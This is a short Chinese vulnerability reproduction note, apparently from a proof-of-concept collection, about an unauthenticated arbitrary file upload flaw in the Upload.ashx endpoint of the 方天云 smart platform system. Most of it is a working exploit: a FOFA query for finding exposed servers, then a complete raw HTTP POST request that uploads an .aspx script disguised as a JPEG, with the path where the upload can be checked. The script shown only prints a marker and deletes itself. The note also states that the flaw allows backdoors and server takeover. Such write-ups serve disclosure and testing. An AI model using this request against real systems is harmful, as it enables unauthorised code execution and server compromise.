F28-2方天云-智慧平台系统-任意文件上传
漏洞描述:
方天云智慧平台系统 Upload.ashx 接口处存在任意文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
fofa语法:
body=“AjaxMethods.asmx/GetCompanyItem”
漏洞复现:
payload:
POST /Upload.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySl8siBbmVicABvTX
Connection: close
------WebKitFormBoundarySl8siBbmVicABvTX
Content-Disposition: form-data; name="file"; filename="qwe.aspx"
Content-Type: image/jpeg
<%@Page Language="C#"%><%Response.Write("hello");System.IO.File.Delete(Request.PhysicalPath);%>
------WebKitFormBoundarySl8siBbmVicABvTX--
效果图:
验证url /UploadFile/CustomerFile/回显的路径
payload:
效果图: